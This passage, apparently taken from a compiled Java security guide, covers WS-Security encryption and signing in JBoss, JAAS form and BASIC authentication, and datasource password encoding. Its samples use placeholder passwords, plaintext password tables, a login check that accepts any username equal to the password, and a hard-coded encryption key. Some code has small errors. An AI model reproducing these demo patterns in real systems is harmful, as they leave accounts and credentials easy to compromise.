–classpath output org.jbia.ws.Client Javid Peter

You should see this response:

Hello Javid

Hello Peter

Now that you have a working web service and its client, we can show you how to secure it.

Encrypting web messagesIf your web service transmits confidential information such as medical records, you'll want toencrypt the message so that the contents can't be monitored during transport. In this section,we show you how to encrypt the hello web service.

One of the unique aspects of encrypting a web service is that it can be done in two differentways. First, you can use SSL to transport messages using HTTPS. The mechanisms used to set thisup are much the same as for using SSL with a web application. You can also use WS-Security; the

Page 89: Java secure development   part 3

578 | P a g e

contents of the message are encrypted by the JAX-WS implementation on both the client andthe server. These two methods are illustrated in figure 1.

Figure 1: Web service requests and responses go though both the JAX-WS and transport layers,and thus either layer can be used to encrypt and decrypt the requests and responses.

The steps to encrypt the messages are to generate the security certificates and to configure theserver and client to use those certificates. We walk you through all the steps to secure the webservice, even the steps to generate the certificates.

Generating the certificateA web service request and response consists of two messages, each of which has to beencrypted. This is illustrated in figure 1. Although you could use the same certificate in bothcases, you usually wouldn't want to do so in a production environment because it requires boththe server and the client to have the same private key. Usually you want to keep your privatekey, well, private. Therefore, with a single client and a single server you need two certificates sothat's what you generate.

You need two keystores and two truststores. Each keystore contains its own certificate and thepublic key of the certificate in the other keystore. The truststores contain the public keys of theircorresponding certificates. This configuration is illustrated in figure 2.

Page 90: Java secure development   part 3

579 | P a g e

Figure 2: Note the relationships among the certificates stored in the keystores and truststores.The sender uses the receiver's public key, which is stored in the keystore, to encrypt themessage. The receiver uses its certificate, which contains both its public and private keys, todecrypt the message.

Here are the commands used to set up this configuration, using the keytool utility that shipswith the JDK:

keytool -genkey -alias server -keyalg RSA -keystore server.keystorekeytool -genkey -alias client -keyalg RSA -keystore client.keystorekeytool -export -alias server -keystore server.keystore \

-file server_pub.keykeytool -export -alias client -keystore client.keystore \

-file client_pub.keykeytool -import -alias client -keystore server.keystore \

-file client_pub.keykeytool -import -alias server -keystore client.keystore \

-file server_pub.keykeytool -import -alias client -keystore client.truststore \

-file client_pub.keykeytool -import -alias server -keystore server.truststore \

-file server_pub.key

When you're creating the certificates (the first two commands), the keytool command asks for apassword for both for the keystore and for the certificate. Remember the passwords you used.You'll need them later.

Page 91: Java secure development   part 3

580 | P a g e

Securing the server using WS-SecurityYou have to complete two steps: configure the server to use its keystore and truststore andconfigure the web service to use that configuration.

The jboss-wsse-server.xml file identifies the keystore and the truststore to the server. For aPOJO web service, place this file into the WEB-INF directory; for an EJB web service, place it intothe META-INF directory. In this file, you also indicate that you want messages to be encrypted.Listing 4 shows the contents of the file.

Listing 4: Encryption-related security configuration file: jboss-wsse-server.xml

<jboss-ws-securityxmlns="http://www.jboss.com/ws-security/config"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.jboss.com/ws-security/config

http://www.jboss.com/ws-security/schema/jboss-ws-security_1_0.xsd">// Reference #1<key-store-file>WEB-INF/server.keystore</key-store-file>// Reference #2<key-store-password>password</key-store-password>// Reference #3<key-store-type>jks</key-store-type>// Reference #4<trust-store-file>WEB-INF/server.truststore</trust-store-file>// Reference #5<trust-store-password>password</trust-store-password>// Reference #6<trust-store-type>jks</trust-store-type><key-passwords>

// Reference #7<key-password alias="server" password="serverpwd" />

</key-passwords><config>

// Reference #8<encrypt type="x509v3" alias="client" /><requires>

// Reference #9<encryption />

</requires>

Page 92: Java secure development   part 3

581 | P a g e

</config></jboss-ws-security>

The locations of the keystore (#1) and truststore (#4) files are relative to the base directory ofthe WAR file. The keystore and truststore use the same password (#3, #6); you probably want touse stronger passwords. The <key-store-type> (#2) and <trust-store-type> (#5) default to JKS, soyou could leave these tags out. The server key password is provided by the <key-passwords> tag(#7) because that password is used to access the server certificate in the keystore.The <encryption/>tag (#9) requests that the message be encrypted using the alias provided bythe <encrypt> tag (#8). The client's public key is used to encrypt the message on the server andis decrypted at the client using the client's private key from the client's keystore.

Add the @EndpointConfig annotation to the Hello class to indicate that you want to use WS-Security. Listing 5 is an excerpt from the updated Hello class, highlighting the added lines.

Listing 5: Encryption-related changes to the client

...// Reference #1import org.jboss.ws.annotation.EndpointConfig;...// Reference #2@EndpointConfig(configName="Standard WSSecurity Endpoint")public class Hello {...}

The import statement imports the annotation class (#1), and the configNameelement identifiesthe configuration you want to use (#2). The valid configurations can be found in the fileserver/xxx/deploy/jbossws.sar/META-INF/standard-jaxws-endpoint-config.xml. Listing 6 is anexcerpt from that file, showing the Standard WSSecurity Endpoint configuration.

Listing 6: Endpoint handler configuration file: standard-jaxws-endpoint-config.xml

<jaxws-config ...>...

<endpoint-config>// Reference #1<config-name>Standard WSSecurity Endpoint</config-name><post-handler-chains>

<javaee:handler-chain><javaee:protocol-bindings>

##SOAP11_HTTP

Page 93: Java secure development   part 3

582 | P a g e

</javaee:protocol-bindings><javaee:handler>

<javaee:handler-name>WSSecurity Handler

</javaee:handler-name><javaee:handler-class>

// Reference #2org.jboss.ws.extensions.security.jaxws.

WSSecurityHandlerServer</javaee:handler-class>

</javaee:handler></javaee:handler-chain>

</post-handler-chains></endpoint-config></jaxws-config>

The configuration name given here (#1) matches the configuration name used inthe EndpointConfigannotation. The WSSecurityHandlerServer class (#2) handles the encryptionand decryption of the messages.

You can add other handler chains to this configuration and even write your own handler byextending theorg.jboss.ws.core.jaxws.handler.GenericSOAPHandler. Such a handler has accessto and can manipulate the full SOAP message.

Now that you have all the files, you can package them into the hello.war file, as shown in figure3, and deploy the WAR file.

Figure 3: Here are the contents of hello.war when using WS-Security.

Page 94: Java secure development   part 3

583 | P a g e

Note that the standard-jaxws-endpoint-config.xml file isn't included in the WAR file; it's pickedup from its default location. If you'd like to place that file into the WAR file, you could providethe location using the configFile element on the @EndpointConfig annotation. Once the WARfile deploys, you can access the WSDL file through a browser using the URLhttp://localhost:8080/jbossws/services.

Securing the client using WS-SecurityThe client source files don't require any changes to encrypt the message. The only thing youhave to do is configure WS-Security. You use two files to correspond to the two configurationfiles used for the server.

First, provide the information regarding the keystore and truststore. You can do this by creatinga jboss-wsse-client.xml file and placing the necessary information into it, as shown in listing 7.

Listing 7: Client configuration file: jboss-wsse-client.xml

<?xml version="1.0" encoding="UTF-8"?><jboss-ws-security

xmlns="http://www.jboss.com/ws-security/config"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.jboss.com/ws-security/confighttp://www.jboss.com/ws-security/schema/

jboss-ws-security_1_0.xsd"><key-store-file>META-INF/client.keystore</key-store-file><key-store-password>password</key-store-password><key-store-type>jks</key-store-type><trust-store-file>

META-INF/client.truststore</trust-store-file><trust-store-password>password</trust-store-password><trust-store-type>jks</trust-store-type><key-passwords>

// Reference #1<key-password alias="server" password="clientpwd" />

</key-passwords><config>

<encrypt type="x509v3" alias="server"/><requires>

<encryption/></requires>

Page 95: Java secure development   part 3

584 | P a g e

</config></jboss-ws-security>

The contents of this file look similar to that used by the server, the only difference being thatthe keystore and truststore are located in the META-INF directory. The server public key (#1) isused to encrypt the message, which is decrypted at the server using the server's private key.

You can leave out the information about the keystore, truststore, their passwords, and types,and provide that information using the following system properties:

org.jboss.ws.wsse.keyStore org.jboss.ws.wsse.keyStorePassword org.jboss.ws.wsse.keyStoreType org.jboss.ws.wsse.trustStore org.jboss.ws.wsse.trustStorePassword org.jboss.ws.wsse.trustStoreType

If you specify this information both in the configuration file and as system properties, theconfiguration file takes precedence. Additionally, because the same class handles the jboss-wsse-client.xml and jboss-wsse-server.xml files, the system properties could be used for theserver also. Because the server might serve multiple Web Services, each with their own WS-Security configuration, it makes sense that the settings in the configuration file take precedenceover the system properties.

You have to state that you want to use WS-Security by creating a META-INF/standard-jaxws-client-config.xml file. An example of this file can be found atserver/xxx/deploy/jbossws.sar/META-INF/standard-jaxws-client-config.xml. Copy this file toyour project and edit it, removing the configurations that you don't want. The only configurationyou should leave isStandard WSSecurity Client, as shown in listing 8.

Listing 8: Client configuration file: standard-jaxws-client-config.xml

<?xml version="1.0" encoding="UTF-8"?><jaxws-config xmlns="urn:jboss:jaxws-config:2.0"

xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:javaee="http://java.sun.com/xml/ns/javaee"xsi:schemaLocation="urn:jboss:jaxws-config:2.0

jaxws-config_2_0.xsd"><client-config>

<config-name>Standard WSSecurity Client</config-name><post-handler-chains>

Page 96: Java secure development   part 3

585 | P a g e

<javaee:handler-chain><javaee:protocol-bindings>

##SOAP11_HTTP</javaee:protocol-bindings>

<javaee:handler><javaee:handler-name>

WSSecurityHandlerOutbound</javaee:handler-name><javaee:handler-class>

// Reference #1org.jboss.ws.extensions.security.jaxws.

WSSecurityHandlerClient</javaee:handler-class>

</javaee:handler></javaee:handler-chain>

</post-handler-chains></client-config></jaxws-config>

The WSSecurityHandlerClient (#1) is the client-side handler that corresponds tothe WSSecurityHandlerServer server-side handler. Both of these classes defer tothe WSSecurityHandlerclass to handle the messages.

All that's left to do is package the files into a JAR file as illustrated in figure 4.

Figure 4: Here are the contents of the client.jar file when using WS-Security.

Page 97: Java secure development   part 3

586 | P a g e

Once you have the JAR file, you can run the client, once again using wsrunclient. It should work.You can verify that the messages are encrypted by turning on message tracing. Uncomment theEnable JBossWS message tracing entry in the jboss-log4j.xml file before starting the applicationserver. Then look for the org.jboss.ws.core.MessageTrace entries in the server.log file.

Signing the messages using WS-Security

WS-Security provides a mechanism to sign a message, providing an alternate means ofauthenticating the user. To illustrate how this works, we modify the example that encryptsmessages.

For signing a message, the sender uses his or her private key, and the receiver uses the sender'spublic key to verify the sender's identity. This means that the client's public key must be in theserver's truststore and the server's public key must be in the server's truststore. Thisconfiguration is illustrated in figure 5.

Figure 5: Here are the relationships among the key and trust stores for signing messages. Theonly difference between this and figure 1 is that the other system's public key has been addedto the truststore.

Assuming that the keystores and truststores are already set up for encryption, here are theadditional commands used to create this configuration:

Page 98: Java secure development   part 3

587 | P a g e

keytool -import -alias server -keystore client.truststore \-file server_pub.key

keytool -import -alias client -keystore server.truststore \-file client_pub.key

Once the keys are set up, you must modify the configuration files to use the keys to sign themessages. Listing 9 shows an excerpt from the updated jboss-wsse-server.xml file.

Listing 9: WS-Security configuration file, jboss-wsse-server.xml, changes

<jboss-ws-security ...>...<config>

// Reference #1<sign type="x509v3" alias="server" /><encrypt type="x509v3" alias="client" /><requires>

<signature /><encryption />

</requires></config>

</jboss-ws-security>

The server key is used to sign messages sent by the server (#1). The keystore and truststore-related settings are the same as for the earlier encryption example; only the two lines identifiedwere added.

The changes to the jboss-wsse-client.xml file are similar, as shown in listing 10.

Listing 10: WS-Security configuration file, jboss-wsse-client.xml, changes

<jboss-ws-security ...>...<config>

// Reference #1<sign type="x509v3" alias="client" /><encrypt type="x509v3" alias="server" /><requires>

<signature /><encryption />

Page 99: Java secure development   part 3

588 | P a g e

</requires></config>

</jboss-ws-security>

In this case the client key is used to sign the messages (#1).

Package up the server and deploy it, package up the client, and then run the client. Themessages are now signed. You can verify this by looking at the SOAP messages in the server.logfile (after turning on message tracing as indicated at the end of section 9.5.3); you'll seea <ds:Signature> entry has been added to the message.

SummarySo there you have it, a simple web service secured using WS-Security. Even though the webservice we used was a POJO, you can use the same steps to secure an EJB-based web service.Use the same configuration files, placing them in the META-INF directory instead of the WEB-INFdirectory.

JAAS – Authentication with JBOSS, FORM-BASED

Java Authentication and Authorization Service, Form based Authentication

JAAS helps in authentication and authorization of a person, system or an automated process. Itdecreases the concerns for individuals about security, as this will be the first layer user has to gothrough before going to interact with actual method, interface or a page.JAAS enables security to be plug able into you project, and it can be replaced by any criteria ofsecurity while your main application remains intact.

User/system/process —–>| JAAS ->| Application

JAAS also enables you to configure multiple login module for different section of you project.How it works.

When user try to access secure content, JAAS get activated and ask for username and passworddepending upon the “login configuration” (Authentication method Form based or simple)

Form based security will show a user defined form to take inputs, simple will pop up a windowfor username and password. In this tutorial we will concentrate on FROM based authentication.

Page 100: Java secure development   part 3

589 | P a g e

Following is a simple and very easy JBOSS JAAS authentication and authorizationimplementation. Here is directory structure of a project called “my project”:

[mazhar] (my web project)+- [WebContent]

+- [admin] (this is our secure folder)+ salary.jsp

+- [WEB-INF]+- jboss-web.xml+- web.xml

+- login.jsp+- loginfail.jsp

1) First we need to define application authetication policy at jboss

D:\jboss-4.2.3.GA\server\mmazharhassan.com\conf\login-config.xml

Here we define application policy named as "mazhar_policy"and jndi name as "mazhards" which will correspond to "jboss/.../deploy/mazhar-ds.xml"

<application-policy name = "mazhar_policy"><authentication>

<login-module code = "org.jboss.security.auth.spi.DatabaseServerLoginModule" flag ="required">

<module-option name = "unauthenticatedIdentity">guest</module-option><module-option name = "dsJndiName">java:/mazhards</module-option>

<module-option name = "principalsQuery">SELECT password FROM myuser WHEREusername=?</module-option>

<module-option name = "rolesQuery">SELECT role, 'Roles' FROM myuser_roles WHEREusername=?</module-option>

</login-module></authentication>

</application-policy>

2nd) Create Security Domain

Page 101: Java secure development   part 3

590 | P a g e

create jboss-web.xml file in you WEB-INF directory of your web application

<?xml version="1.0" encoding="UTF-8"?><jboss-web>

<security-domain>java:/jaas/mazhar_policy</security-domain></jboss-web>

3rd) Secure the Application

modify web.xml in WEB-INF directory

and add following configuration

3.1 web.xml

<security-constraint><web-resource-collection>

<web-resource-name>Admin Pages</web-resource-name><url-pattern>/admin/*</url-pattern><http-method>POST</http-method><http-method>GET</http-method>

</web-resource-collection><auth-constraint>

<description>Only allow users from following roles</description><role-name>administrator</role-name><role-name>superuser</role-name>

</auth-constraint></security-constraint><login-config>

<auth-method>FORM</auth-method><form-login-config>

<form-login-page>/login.jsp</form-login-page><form-error-page>/loginfail.jsp</form-error-page>

</form-login-config>

Page 102: Java secure development   part 3

591 | P a g e

</login-config>

3.2

carate login.jsp in "webContent"

<form method="post" action="j_security_check"><input type="text" name="j_username" /><br/><input type="password" name="j_password" /><br/><input type="submit" value="Login" />

</form>

4th) Datasource at jboss

D:\jboss-4.2.3.GA\server\mmazharhassan.com\deploy\

mazhar-ds.xml

<?xml version="1.0" encoding="UTF-8"?><datasources>

<local-tx-datasource><jndi-name>mazhards</jndi-name><connection-

url>jdbc:mysql://localhost:3306/mazhar_db?useUnicode=true&amp;characterEncoding=UTF-8</connection-url>

<driver-class>com.mysql.jdbc.Driver</driver-class><user-name>umazhar</user-name><password>mazhar</password><exception-sorter-class-

name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>

<valid-connection-checker-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLValidConnectionChecker</valid-connection-checker-class-name>

<new-connection-sql>some arbitrary sql</new-connection-sql><check-valid-connection-sql>some arbitrary sql</check-valid-connection-sql><metadata>

<type-mapping>mySQL</type-mapping>

Page 103: Java secure development   part 3

592 | P a g e

</metadata></local-tx-datasource>

</datasources>

5th) Database structure

Table1 : myuseriduser username password1 mazhar 1232 fahad 123

Table2 : myuser_rolesrole usernamesuperuser mazhar guest fahad

Page 104: Java secure development   part 3

593 | P a g e

the following examples are same as above, except the username and password input is takendifferently, in Basic Authentication popup window is displayed to user to take input. as show inimage below.

on success will display secure contents that was accessed

A simple and very easy JBOSS JAAS authentication and authorization tutorial.Here is directory struture of my project

Page 105: Java secure development   part 3

594 | P a g e

[SimpleAuthJASS] (my web project)+- [WebContent]

+- [admin] (this is our secure folder)+ index.jsp

+- [WEB-INF]+- jboss-web.xml+- web.xml

+-index.jsp

1) First we need to define application authetication policy at jboss

D:\jboss-4.2.3.GA\server\mmazharhassan.com\conf\login-config.xml

Here we define application policy named as "mazhar_policy"and jndi name as "mazhards" which will correspond to "jboss/.../deploy/mazhar-ds.xml"

<application-policy name = "mazhar_policy"><authentication>

<login-module code = "org.jboss.security.auth.spi.DatabaseServerLoginModule" flag ="required">

<module-option name = "unauthenticatedIdentity">guest</module-option><module-option name =

"dsJndiName">java:/mazhards</module-option><module-option name = "principalsQuery">SELECT password FROM myuser WHERE

username=?</module-option><module-option name = "rolesQuery">SELECT role, 'Roles' FROM myuser_roles WHERE

username=?</module-option></login-module>

</authentication></application-policy>

2nd) Create Security Domain

create jboss-web.xml file in you WEB-INF directory of your web application

<?xml version="1.0" encoding="UTF-8"?>

Page 106: Java secure development   part 3

595 | P a g e

<jboss-web><security-domain>java:/jaas/mazhar_policy</security-domain>

</jboss-web>

3rd) Secure the Application

modify web.xml in WEB-INF directoryand add following configuration

3.1 web.xml

<security-constraint><web-resource-collection>

<web-resource-name>Admin Pages</web-resource-name><url-pattern>/admin/*</url-pattern><http-method>POST</http-method><http-method>GET</http-method>

</web-resource-collection><auth-constraint>

<description>Only allow users from following roles</description><role-name>administrator</role-name><role-name>superuser</role-name>

</auth-constraint></security-constraint><login-config>

<auth-method>BASIC</auth-method><realm-name>My Secure Content Authentication</realm-name>

</login-config>

4th) Datasource at jbossD:\jboss-4.2.3.GA\server\mmazharhassan.com\deploy\mazhar-ds.xml

<?xml version="1.0" encoding="UTF-8"?><datasources>

<local-tx-datasource><jndi-name>mazhards</jndi-name>

Page 107: Java secure development   part 3

596 | P a g e

<connection-url>jdbc:mysql://localhost:3306/mazhar_db?useUnicode=true&amp;characterEncoding=UTF-8</connection-url>

<driver-class>com.mysql.jdbc.Driver</driver-class><user-name>umazhar</user-name><password>mazhar</password><exception-sorter-class-

name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>

<valid-connection-checker-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLValidConnectionChecker</valid-connection-checker-class-name>

<new-connection-sql>some arbitrary sql</new-connection-sql><check-valid-connection-sql>some arbitrary sql</check-valid-connection-sql><metadata>

<type-mapping>mySQL</type-mapping></metadata>

</local-tx-datasource></datasources>

5th) Database structure

Table1 : myuseriduser username password1 mazhar 1232 fahad 123Table2 : myuser_rolesrole usernamesuperuser mazhar guest fahad

6th) Who is authenticated by JAAS Most of my friend ask this question, how our application willknow that who is get authenticated by JAAS, so for that i ampresenting a sample index.jsp file that is used in admin folder.

<%@ page language="java" contentType="text/html; charset=ISO-8859-1"pageEncoding="ISO-8859-1"%>

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd"><%@page import="java.security.AccessController"%>

Page 108: Java secure development   part 3

597 | P a g e

<%@page import="javax.security.auth.Subject"%><html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Admin Panel</title></head><body>%><h1>Admin panel</h1>

<pre>User authenticated by JAAS is [ <%= request.getRemoteUser() %> ] <br><%

if (request.isUserInRole("superuser")) {out.println("and is a Super user");

} else {out.println("and is an other user");

}%>

</pre></body></html>

Authentication using JAAS

What is JAAS?

Java Authentication and Authorization Service, or JAAS, pronounced "Jazz", is a Java securityframework for user-centric security to augment the Java code-based security.

Since Java Runtime Environment 1.4 JAAS has been integrated with the JRE - previously JAASwas supplied as an extension library by Sun. JAAS's main goal is to separate the concerns of userauthentication so that they may be managed independently.

As the name –Java Authentication and Authorization Services– suggests, it provides a frameworkand an API for the authentication and authorization of users, whether they're human orautomated processes. Both parts provide full-fledged capabilities and can be used in small-sized

Page 109: Java secure development   part 3

598 | P a g e

applications as well as enterprise applications, where security is a major concern. JAAS wasinspired by PAM (Pluggable Authentication Module); one might say that JAAS is a Java version ofPAM. It was introduced as an optional package for use with JDK 1.3, but has been integrated aspart of the standard JDK 1.4.

JAAS uses a service provider approach to its authentication features, meaning that it is possibleto configure different login modules for an application without changing any code. Theapplication remains unaware of the underlying authentication logic. It's even possible for anapplication to contain multiple login modules, somewhat akin to a stack of authenticationprocedures.

In this article we will discuss the authentication part of JAAS in detail, starting with the variousclasses and interfaces which are involved, followed by a ready-to-run example.

Classes and interfaces

LoginModule (javax.security.auth.spi.LoginModule)

Login modules are written by implementing this interface; they contain the actual code forauthentication. It can use various mechanisms to authenticate user credentials. The code couldretrieve a password from a database and compare it to the password supplied to the module. Itcould also use a flat file, LDAP or any other means of storing user information for that purpose.Generally, in enterprise networks all authentication credentials are stored in one place, whichmight be accessed through LDAP.

LoginContext (javax.security.auth.login.LoginContext)

The login context is the core of the JAAS framework which kicks off the authentication processby creating a Subject. As the authentication process proceeds, the subject is populated withvarious principals and credentials for further processing.

Subject (javax.security.auth.Subject)

A subject represents a single user, entity or system –in other words, a client– requestingauthentication.

Principal (java.security.Principal)

A principal represents the face of a subject. It encapsulates features or properties of a subject. Asubject can contain multiple principals.

Credentials

Page 110: Java secure development   part 3

599 | P a g e

Credentials are nothing but pieces of information regarding the subject in consideration. Theymight be account numbers, passwords, certificates etc. As the credential represents someimportant information, the further interfaces might be useful for creating a proper and securecredential –javax.security.auth.Destroyable and javax.security.auth.Refreshable. Suppose thatafter the successful authentication of the user you populate the subject with a secret ID (in theform of a credential) with which the subject can execute some critical services, but thecredential should be removed after a specific time. In that case, one might want to implementthe Destroyable interface.Refreshable might be useful if a credential has only a limited timespanin which it is valid.

Administration

For the system administrator, JAAS consists of two kinds of configuration file:

*.login.conf: specifies how to plug vendor-supplied login modules into particular applications

*.policy: specifies which identities (users or programs) are granted which permissions

For example, an application may have this login.conf file indicating how different authentication

mechanisms are to be run to authenticate the user:

PetShopApplication {com.sun.security.auth.module.LdapLoginModule sufficient;com.foo.SmartcardLoginModule requisite;com.sun.security.auth.module.UnixLoginModule required debug=true;

};

Application interface

For the application developer, JAAS is a standard library that provides:

a representation of identity (Principal) and a set of credentials (Subject)

a login service that will invoke your application callbacks to ask the user things like username and

password. It returns a new Subject

a service that tests if a Subject was granted a permission by an administrator.

Security system integration

For the security system integrator, JAAS provides interfaces:

Page 111: Java secure development   part 3

600 | P a g e

to provide your identity namespace to applications

to attach credentials to threads (Subject)

for developing login modules. Your module invokes callbacks to query the user, checks their response

and generates a Subject.

See also

PAM

Apache Shiro

Enterprise_JavaBean#Security

Keystore

What are authentication and authorization?

Authentication can defined as the process to confirm the identity of an user. This can beachieved in a variety of ways, e.g. by entering a password, swiping an ID card, or using abiometrical scanner. The user need not be a human being, but can be a computer process.

Authorization can be defined as the process of deciding whether an authenticated user/systemis allowed to access a certain resource or perform a certain action or not. A system may havemany logical sections/modules, and not all users might have access to all modules. For example,one would not want an employee of a company to be authorized to get into parts of anapplication related to the company's appraisal system or other confidential data. This is whereauthorization comes into play. Though the user might have authenticated himself, he might nothave sufficient authorization to access certain particular data items.

Both the above –authentication and authorization– are addressed by JAAS.

The process of authentication

The authentication process starts with creating an instance of the LoginContext. Variousconstructors are available; the example uses theLoginContext(String, CallbackHandler) variety.The first parameter is the name (which acts as the index to the login module stack configured inthe configuration file), and the second parameter is a callback handler used for passing logininformation to the LoginModule.CallbackHandler has a handle method which transfers therequired information to the LoginModule. The example uses a very simple handler which savesthe username and password in an instance variable, so that it can be passed on during the

Page 112: Java secure development   part 3

601 | P a g e

invocation of the handle method from theLoginModule. It's also possible to create callbacks thatinteract with the user to obtain user credentials, and transfer that information totheLoginModule for authentication.

An empty Subject is created before the authentication begins. This is passed to all login modulesconfigured for the application. If the authentication is successful, the subject is populated withvarious principals and credentials.

The login method in the LoginContext is used to start the login process. After its successfulcompletion, the application can retrieve theSubject from the LoginContext usingthe getSubject() method.

The login process has two phases. In the first phase, the individual login module's login methodis invoked, but at this point the principals and credentials are not attached to the subject. Thereason being that if the overall login fails, the principals and credentials attached to the subjectare invalid, and have to be removed.

If the login process is successful the commit methods of all login modules are invoked, and theindividual login modules take care of attaching the appropriate principals and credentials to thesubject. If it fails then the abort method would be invoked; that gives the login modules achance to perform any necessary cleanup.

The login method of the login module should return true if the authentication issuccessful, false if this module should be ignored, and it throws a LoginException if theauthentication fails.

JAAS configuration in detail

Let's take a look at a sample JAAS configuration file.

<code

RanchLogin { com.javaranch.auth.FirstLoginModule requisite debug=true ;com.javaranch.auth.SecondLoginModule required debug=false [email protected] ;};

With this configuration, two login modules have been configured under thename RanchLogin: FirstLoginModule andSecondLoginModule. Each login module is configuredwith a flag, which decides its behavior as the authentication proceeds down the authenticationstack. Other dynamic information related to specific login modules can be passed usingkey/value pairs. One parameters is supplied to the first login module (debug, and two to the

Page 113: Java secure development   part 3

602 | P a g e

second (debug and email). These parameter values can be retrieved from within the module.The possible flags are:

1) Required – This module must authenticate the user. But if it fails, the authenticationnonetheless continues with the other login modules in the list (if any).

2) Requisite – If the login fails then the control returns back to the application, and no otherlogin modules will execute.

3) Sufficient – If the login succeeds then the overall login succeeds, and control returns to theapplication. If the login fails then it continues to execute the other login modules in the list.

4) Optional – The authentication process continues down the list of login modules irrespectiveof the success of this module.

An exampleA login configuration file is needed, which specifies the login module to be used. The file name ispassed as a JVM parameter via a -Djava.security.auth.login.config="JAAS_CONFIG_FILENAME" switch. The following code shows asimple example.

The code triggering the authentication (com.javaranch.auth.Login)

CallbackHandler handler = new RanchCallbackHandler(userName, password);

try {LoginContext loginContext = new LoginContext("RanchLogin", handler);// starts the actual loginloginContext.login();

} catch (LoginException e) {// log error (failed to authenticate the user - do something about it)e.printStackTrace();

}

Login configuration file (loginConfig.jaas). It ties the name "RanchLogin" (used in the previousparagraph) to the class RanchLoginModule (shown in the next paragraph).

RanchLogin {com.javaranch.auth.RanchLoginModule required;

};

Page 114: Java secure development   part 3

603 | P a g e

Implementation of LoginModule in the class RanchLoginModule

public boolean login() throws LoginException {boolean returnValue = true;

if (callbackHandler == null){throw new LoginException("No callback handler supplied.");

}

Callback[] callbacks = new Callback[2];callbacks[0] = new NameCallback("Username");callbacks[1] = new PasswordCallback("Password", false);

try {callbackHandler.handle(callbacks);String userName = ((NameCallback) callbacks[0]).getName();char [] passwordCharArray = ((PasswordCallback) callbacks[1]).getPassword();String password = new String(passwordCharArray);//--> authenticate if username is the same as password (yes, this is a somewhat simplistic

approach :-)returnValue = userName.equals(password);

} catch (IOException ioe) {ioe.printStackTrace();throw new LoginException("IOException occured: "+ioex.getMessage());

} catch (UnsupportedCallbackException ucbe) {ucbe.printStackTrace();throw new LoginException("UnsupportedCallbackException encountered:

"+ucbe.getMessage());}

System.out.println("logged in");return returnValue;

}

Page 115: Java secure development   part 3

604 | P a g e

Authentication with a SecurityManager

There's one problem with this code - if a security manager is present (as it is likely to be inapplications worth protecting) an exception is thrown. We have to give certain permissions tothe code using the policy file:

grant { permission java.util.PropertyPermission "user", "read"; permissionjava.util.PropertyPermission "pass", "read"; permission java.util.PropertyPermission"java.security.auth.login.config", "read"; permission java.util.PropertyPermission"java.security.policy", "read"; permission javax.security.auth.AuthPermission"createLoginContext.RanchLogin"; };

We have to grant the code AuthPermission with target createLoginContext, so that it is allowedto instantiate a LoginContext object.

To run the code with a security manager we also need to pass a -Djava.security.manager parameter to the JVM, along with the location of login configuration andpolicy files. Alternatively, it's also possible to modify the default policy file that comes with theJDK directly.

Running the examples

Make sure that jaas.config, policy.config and the jaas-example.jar file are in the same directory.(There are also Ant targets named runCase1, runCase2, runCase3 and runCase4 that will executethese test program with the specified parameters.) The complete, ready-to-run code can bedownloaded here.

java -Duser=rahul-Dpass=rahul-Djava.security.auth.login.config=jaas.config-jar jaas-example.jar

Result : Successful, as the username is same as the password.

java -Duser=rahul-Dpass=notrahul-Djava.security.auth.login.config=jaas.config-jar jaas-example.jar

Page 116: Java secure development   part 3

605 | P a g e

Result : Failed, as the username is not as same as the password.

java -Duser=rahul-Dpass=rahul-Djava.security.auth.login.config=jaas.config-Djava.security.manager-jar jaas-example.jar

Same as above, but with a security manager enabled. Result : Failed, as the code doesn't havethe required permissions.

java -Duser=rahul-Dpass=rahul-Djava.security.auth.login.config=jaas.config-Djava.security.manager-Djava.security.policy=policy.config-jar jaas-example.jar

Result : Successful, as the code has been granted all the necessary permissions using thepolicy.config file.

EncryptingDataSourcePasswords

A simple login module for encrypting a datasource password

The org.jboss.resource.security.SecureIdentityLoginModule can be used to encrypt databasepasswords rather than using clear text passwords in the datasource configuration. It uses ahard-coded password to encrypt/decrypt the datasource password.

You can encrypt the datasource password using the SecureIdentityLoginModule main methodby passing in the cleartext password, here shown as 'password':

Note: The example below was recently (21 June 2007) verified against JBoss AS 3.2.8.SP1, 4.0.0,4.0.1sp1, 4.0.2, 4.0.3SP1, 4.0.4.GA, 4.0.5.GA, and 4.2.0.GA, using PostgreSQL 8.1.9-1, Sun JDK1.5.0_11, and Fedora Core 6 (2.6.20-1.2952.fc6).

Page 117: Java secure development   part 3

606 | P a g e

Second note: The JBoss 5.1 examples have been verified against JBoss AS 5.1.0 GA the 17November 2009.

JBoss AS 3.2.x

From your JBoss 3.2.4 (or newer) home directory, invoke the secure identity login module likesuch:

[dward@dwardlinux jboss-3.2.8.SP1]$ java -cp lib/jboss-jmx.jar:lib/jboss-common.jar:server/default/deploy/jboss-jca.sar:server/default/lib/jbosssx.jarorg.jboss.resource.security.SecureIdentityLoginModule passwordEncoded password: 5dfc52b51bd35553df8592078de921bc

On Windows Operating System, use the following command

[dward@dwardlinux jboss-3.2.8.SP1]$ java -cp lib/jboss-jmx.jar;lib/jboss-common.jar;server/default/deploy/jboss-jca.sar;server/default/lib/jbosssx.jarorg.jboss.resource.security.SecureIdentityLoginModule passwordEncoded password: 5dfc52b51bd35553df8592078de921bc

JBoss AS 4.0.x or 4.2.x

From your JBoss 4.x home directory, invoke the secure identity login module like such:

[dward@dwardlinux jboss-4.0.5.GA]$ java -cp lib/jboss-common.jar:lib/jboss-jmx.jar:server/default/lib/jbosssx.jar:server/default/lib/jboss-jca.jarorg.jboss.resource.security.SecureIdentityLoginModule passwordEncoded password: 5dfc52b51bd35553df8592078de921bc

On Windows Operating System, use the following command

[dward@dwardlinux jboss-4.0.5.GA]$ java -cp lib/jboss-common.jar;lib/jboss-jmx.jar;server/default/lib/jbosssx.jar;server/default/lib/jboss-jca.jarorg.jboss.resource.security.SecureIdentityLoginModule passwordEncoded password: 5dfc52b51bd35553df8592078de921bc

